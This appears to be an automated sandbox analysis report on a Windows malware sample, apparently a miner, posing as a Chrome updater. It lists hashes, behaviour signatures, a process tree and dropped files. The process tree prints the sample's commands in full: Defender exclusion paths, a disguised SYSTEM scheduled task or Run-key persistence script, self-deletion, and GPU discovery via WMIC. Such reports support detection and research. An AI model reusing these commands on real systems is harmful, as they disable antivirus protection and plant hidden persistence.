Resubmissions

16/01/2024, 20:08

240116-yw2hnahhck 10

24/12/2023, 12:16

231224-pfpz9abhcp 10

28/08/2023, 15:19

230828-sqmvesca87 10

26/08/2023, 15:20

230826-sqz5radd21 10

20/08/2023, 00:19

230820-amltvacg48 10

20/08/2023, 00:19

230820-amkxjscg46 10

20/08/2023, 00:18

230820-al4y2aec9v 10

20/08/2023, 00:18

230820-al4m9scg45 10

20/08/2023, 00:18

230820-al32qscg44 10

20/08/2023, 00:18

230820-al3e7sec9t 10

Analysis

  • max time kernel
    230s
  • max time network
    1802s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    28/08/2023, 15:19

General

  • Target

    qM5GMXBk6hJE6Y5e(15).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1260
      • C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(15).exe
        "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(15).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2160
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2772
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2720
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2612
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(15).exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2508
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:2540
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2232
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:2556
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2760
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2036
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:2280
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:1208
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1344
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1612
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:2020
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2296
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {22FC0652-00A7-4FDB-890D-4C52D56B419D} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2880
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1188

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Program Files\Google\Chrome\updater.exe

          Filesize

          2.0MB

          MD5

          a16a669a09bf158058b83e04e69fe38e

          SHA1

          f6c94763850d9e590d86057139e8895a7aacdeea

          SHA256

          cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

          SHA512

          658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

        • C:\Program Files\Google\Chrome\updater.exe

          Filesize

          2.0MB

          MD5

          a16a669a09bf158058b83e04e69fe38e

          SHA1

          f6c94763850d9e590d86057139e8895a7aacdeea

          SHA256

          cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

          SHA512

          658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

        • C:\Program Files\Google\Libs\g.log

          Filesize

          198B

          MD5

          37dd19b2be4fa7635ad6a2f3238c4af1

          SHA1

          e5b2c034636b434faee84e82e3bce3a3d3561943

          SHA256

          8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

          SHA512

          86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          4e067d4e3035da58cb5a122c94e82e79

          SHA1

          cb94d609d414c26cf94f5ee862668f1b8601e6a3

          SHA256

          e210a822f7584a274cced2aaae6fe3590257dd1b9fd008f73ae344710a9b68a8

          SHA512

          2be9061806a0cf0dbc793faa40a7b3cadf8a56039f9c3fec422790402a2fa647df1f901260418d5045a27e27adc440af713a9b2e03bffeef32a3df2d9bdf9714

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          4e067d4e3035da58cb5a122c94e82e79

          SHA1

          cb94d609d414c26cf94f5ee862668f1b8601e6a3

          SHA256

          e210a822f7584a274cced2aaae6fe3590257dd1b9fd008f73ae344710a9b68a8

          SHA512

          2be9061806a0cf0dbc793faa40a7b3cadf8a56039f9c3fec422790402a2fa647df1f901260418d5045a27e27adc440af713a9b2e03bffeef32a3df2d9bdf9714

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YZ6WGXQXVYDRRNQRAEB6.temp

          Filesize

          7KB

          MD5

          4e067d4e3035da58cb5a122c94e82e79

          SHA1

          cb94d609d414c26cf94f5ee862668f1b8601e6a3

          SHA256

          e210a822f7584a274cced2aaae6fe3590257dd1b9fd008f73ae344710a9b68a8

          SHA512

          2be9061806a0cf0dbc793faa40a7b3cadf8a56039f9c3fec422790402a2fa647df1f901260418d5045a27e27adc440af713a9b2e03bffeef32a3df2d9bdf9714

        • \Program Files\Google\Chrome\updater.exe

          Filesize

          2.0MB

          MD5

          a16a669a09bf158058b83e04e69fe38e

          SHA1

          f6c94763850d9e590d86057139e8895a7aacdeea

          SHA256

          cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

          SHA512

          658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

        • memory/1188-52-0x000000013FB80000-0x000000013FD91000-memory.dmp

          Filesize

          2.1MB

        • memory/2036-44-0x00000000011FB000-0x0000000001262000-memory.dmp

          Filesize

          412KB

        • memory/2036-43-0x00000000011F4000-0x00000000011F7000-memory.dmp

          Filesize

          12KB

        • memory/2036-42-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

          Filesize

          9.6MB

        • memory/2160-26-0x000000013F0E0000-0x000000013F2F1000-memory.dmp

          Filesize

          2.1MB

        • memory/2160-0-0x000000013F0E0000-0x000000013F2F1000-memory.dmp

          Filesize

          2.1MB

        • memory/2232-35-0x000000000236B000-0x00000000023D2000-memory.dmp

          Filesize

          412KB

        • memory/2232-33-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

          Filesize

          9.6MB

        • memory/2232-34-0x0000000002364000-0x0000000002367000-memory.dmp

          Filesize

          12KB

        • memory/2296-51-0x00000000001B0000-0x00000000001D0000-memory.dmp

          Filesize

          128KB

        • memory/2720-21-0x0000000002710000-0x0000000002790000-memory.dmp

          Filesize

          512KB

        • memory/2720-19-0x0000000001E30000-0x0000000001E38000-memory.dmp

          Filesize

          32KB

        • memory/2720-18-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

          Filesize

          2.9MB

        • memory/2720-24-0x0000000002714000-0x0000000002717000-memory.dmp

          Filesize

          12KB

        • memory/2720-22-0x000000000271B000-0x0000000002782000-memory.dmp

          Filesize

          412KB

        • memory/2720-23-0x000007FEF4D80000-0x000007FEF571D000-memory.dmp

          Filesize

          9.6MB

        • memory/2720-20-0x000007FEF4D80000-0x000007FEF571D000-memory.dmp

          Filesize

          9.6MB

        • memory/2760-41-0x000000000117B000-0x00000000011E2000-memory.dmp

          Filesize

          412KB

        • memory/2760-39-0x000007FEF4D80000-0x000007FEF571D000-memory.dmp

          Filesize

          9.6MB

        • memory/2760-40-0x0000000001174000-0x0000000001177000-memory.dmp

          Filesize

          12KB

        • memory/2772-11-0x0000000002560000-0x00000000025E0000-memory.dmp

          Filesize

          512KB

        • memory/2772-10-0x0000000002560000-0x00000000025E0000-memory.dmp

          Filesize

          512KB

        • memory/2772-9-0x0000000002560000-0x00000000025E0000-memory.dmp

          Filesize

          512KB

        • memory/2772-8-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

          Filesize

          9.6MB

        • memory/2772-7-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

          Filesize

          9.6MB

        • memory/2772-6-0x00000000023A0000-0x00000000023A8000-memory.dmp

          Filesize

          32KB

        • memory/2772-12-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

          Filesize

          9.6MB

        • memory/2772-5-0x000000001B1A0000-0x000000001B482000-memory.dmp

          Filesize

          2.9MB